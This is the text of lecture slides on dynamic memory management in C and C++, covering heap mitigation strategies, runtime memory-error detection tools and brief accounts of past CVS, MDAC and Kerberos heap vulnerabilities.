Written to operate efficiently in a virtual memory system, which resulted in stronger checks.
Can determine whether a pointer passed to free() or realloc() is valid without dereferencing it.
Cannot detect if a wrong pointer is passed, but can detect all pointers that were not returned by malloc() or realloc().
![Page 165: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/165.jpg)
Mitigation Strategies Phkmalloc()
Determines whether a pointer is allocated or frees and it detects all double-free errors.
For unprivileged processes, these errors are treated as warnings.
Enabling the “A” or “abort” option causes these warnings to be treated as errors.
An error is terminal and results in a call to abort().
![Page 166: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/166.jpg)
Mitigation Strategies Phkmalloc()
The J(unk) and Z(ero) options were added to find even more memory management defects.
The J(unk) option fills the allocated area with the value 0xd0.
The Z(ero) option fills the memory with junk except for the exact length the user asked for, which is zeroed.
![Page 167: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/167.jpg)
Mitigation Strategies
Randomization Addresses allocated by malloc() are
predictable. Exploits harder when unpredictable. Example:
OpenBSD() kernel mmap() allocates additional memory pages. mmap will return a random address. Each program execution is different.
![Page 168: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/168.jpg)
Mitigation Strategies
Guard Pages Unmapped pages placed between
memory allocations of size one page up. Overflow into a guard page causes a
segmentation fault. Implemented by ObenBSD, ElectricFence,
Application Verifier Have high degree of overhead.
![Page 169: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/169.jpg)
Mitigation Strategies Runtime Analysis Tool
Purify performs memory corruption and memory leak
detection functions and is available for both Windows and Linux platforms.
It detects when a program reads or writes freed memory or frees non-heap or unallocated memory and identifies writes beyond the bounds of an array.
![Page 170: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/170.jpg)
Mitigation Strategies Runtime Analysis Tool
Dmalloc Library (dmalloc) replaces malloc(), realloc(), calloc(),
free(), and other memory management functions to provide configurable, runtime debug facilities:
memory-leak tracking, fence-post write detection, file/line number reporting, general logging of statistics.
Replaces the heap library calls normally found in system libraries with its own versions.
Makes sure the pointer has not been corrupted when memory is reallocated.
![Page 171: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/171.jpg)
Mitigation Strategies Runtime Analysis Tool
Electric Fence Detects buffer overflows or unallocated memory
references. Implements guard pages to place an inaccessible
memory page after or before each memory allocation.
When software reads or writes this inaccessible page, the hardware issues a segmentation fault, stopping the program at the offending instruction.
Memory that has been released by free() is made inaccessible, and any code that touches it will get a segmentation fault.
![Page 172: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/172.jpg)
Mitigation Strategies Runtime Analysis Tool
GNU checker Finds memory errors at runtime and gives a warning
when the program reads an uninitialized variable or memory area or accesses an unallocated memory area.
Issues warnings when free() or realloc() is called with a pointer that does not reference a valid memory chunk, including chunks that have already been freed.
Checker’s malloc refrains from reusing a freed block immediately to catch accesses to the block shortly after it has been freed.
Implements a garbage detector that can be called by a program as it runs.
The garbage detector displays all the memory leaks along with the functions that called malloc.
![Page 173: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/173.jpg)
Mitigation Strategies Runtime Analysis Tool
Valgrind Allows a programmer to profile and debug
Linux/IA-32 executables. Consists of a core, which provides a synthetic IA-
32 CPU in software, and a series of tools, each of which performs a debugging, profiling, or similar task.
Is closely tied to details of the CPU, operating system, and—to a lesser extent—the compiler and basic C libraries.
![Page 174: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/174.jpg)
Mitigation Strategies Runtime Analysis Tool
Insure++ During compilation, Insure++ reads and analyzes the source code
to insert tests and analysis functions around each line. Insure++ builds a database of all program elements. Insure++ checks for the following categories of dynamic memory
issues: reading from or writing to freed memory. passing dangling pointers as arguments to functions or returning them
from functions. Insure++ checks for the following categories of dynamic memory
issues: freeing the same memory chunk multiple times. attempting to free statically allocated memory. freeing stack memory (local variables). passing a pointer to free() that doesn’t point to the beginning of a
memory block. calls to free with NULL or uninitialized pointers. passing arguments of the wrong data type to malloc(), calloc(),
realloc(), or free().
![Page 175: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/175.jpg)
Mitigation Strategies Runtime Analysis Tool
Application Verifier (MS) Helps to discover compatibility issues common to
application code for Windows platforms. The Page Heap utility is incorporated into Application
Verifier’s Detect Heap Corruptions test. It focuses on corruptions versus leaks and finds
almost any detectable heap-related bug. An off-by-one byte error at the end of a dynamically
allocated buffer might cause an instant access violation.
For error categories that cannot be detected instantly, the error report is delayed until the block is freed.
![Page 176: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/176.jpg)
Mitigation Strategies Windows XP SP2
Windows XP SP2 has an eight-bit canary at the end of each chunk.
The size of the canary was selected for performance reasons, particularly in systems that allocate and free large numbers of relatively small memory chunks.
The canary can be brute-forced in situations where the application under attack behaves in a highly deterministic fashion.
![Page 177: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/177.jpg)
Mitigation Strategies
flink
blink
flink
blink
flink
blink
1
2
3
flink
blink
flink
blink
flink
blink
1
2
3
• Additional checking in the FreeList management
•When chunk 2 is removed,
•forward pointer of chunk 1 is updated to point to chunk 3.
•backward pointer of chunk 3 updated to point to chunk 1.
•Many Exploits target these values in chunk 2.
•XP SP2 verifies validity first.
![Page 178: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/178.jpg)
Mitigation Strategies Windows XP SP2
Windows XP SP2 has additional checking in the free list management code which includes three unallocated chunks of memory in a doubly-linked list.
When chunk 2 is removed from the linked list, the forward pointer of the previous chunk (chunk 1) is updated to point to chunk 3 and the backward pointer of the following chunk (chunk 3) is updated to link back to chunk 1.
Most heap exploits work by modifying the values for flink and blink in chunk 2.
![Page 179: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/179.jpg)
Notable Vulnerabilities CVS Buffer Overflow Vulnerability
There is a heap buffer overflow vulnerability in the way CVS handles the insertion and unchanged flags within entry lines.
When CVS processes an entry line, an additional memory byte is allocated to flag the entry as modified or unchanged.
CVS does not check whether a byte has been previously allocated for the flag, which creates an off-by-one buffer overflow.
![Page 180: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/180.jpg)
Notable Vulnerabilities
CVS Buffer Overflow Vulnerability By calling a vulnerable function
several times and inserting specific characters into the entry lines, a remote attacker could overwrite multiple blocks of memory.
In some environments, the CVS may run with root privileges.
![Page 181: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/181.jpg)
Notable Vulnerabilities Microsoft Data Access Components
The remote data services (RDS) component provides an intermediary step for a client’s request for service from a back-end database that enables the Web site to apply business logic to the request.
The data stub function in the RDS component contains an unchecked write to a buffer.
This function parses incoming HTTP requests and generates RDS commands.
The buffer overflow vulnerability could be exploited to cause a buffer overflow in allocated memory.
![Page 182: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/182.jpg)
Notable Vulnerabilities Microsoft Data Access Components
There are two ways in which this vulnerability can be exploited.
The first involves an attacker sending a malicious HTTP request to a vulnerable service, such as an IIS server.
If RDS is enabled, the attacker can execute arbitrary code on the IIS server.
RDS is disabled by default on Windows 2000 and Windows XP systems.
![Page 183: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/183.jpg)
Notable Vulnerabilities Microsoft Data Access Components
This vulnerability involves a malicious Web site hosting a page that exploits the buffer overflow in the MDAC RDS stub through a client application, such as Internet Explorer.
The attacker is able to run arbitrary code as the user viewing the malicious Web page.
Most systems running Internet Explorer on operating systems other than Windows XP are vulnerable to this attack.
![Page 184: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/184.jpg)
Notable Vulnerabilities CVS Server Double Free Vulnerability
A double-free vulnerability in the CVS server could allow a remote attacker to execute arbitrary code or commands or cause a denial of service on a vulnerable system.
The CVS server component contains a double-free vulnerability that can be triggered by a set of specially crafted directory change requests.
While processing these requests, an error checking function may attempt to free() the same memory reference more than once.
![Page 185: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/185.jpg)
Notable Vulnerabilities Kerberos 5 Vulnerability
There is a double-free vulnerability in the krb5_rd_cred() function in the MIT Kerberos 5 library.
Implementations of krb5_rd_cred() before the krb5-1.3.2 release contained code to explicitly free the buffer returned by the ASN.1 decoder function decode_krb5_enc_cred_part() when the decoder returns an error.
This is a double-free because the decoder would itself free the buffer on error.
![Page 186: Dynamic Memory Management](https://reader037.vdocuments.us/reader037/viewer/2022110209/56812a52550346895d8d9fa3/html5/thumbnails/186.jpg)
Summary Dynamic memory management in C and C++
programs is prone to software defects and security flaws.
While heap-based vulnerabilities can be more difficult to exploit than their stack-based counterparts, programs with memory-related security flaws can still be vulnerable to attack.
A combination of good programming practices and dynamic analysis can help to identify and eliminate these security flaws during development.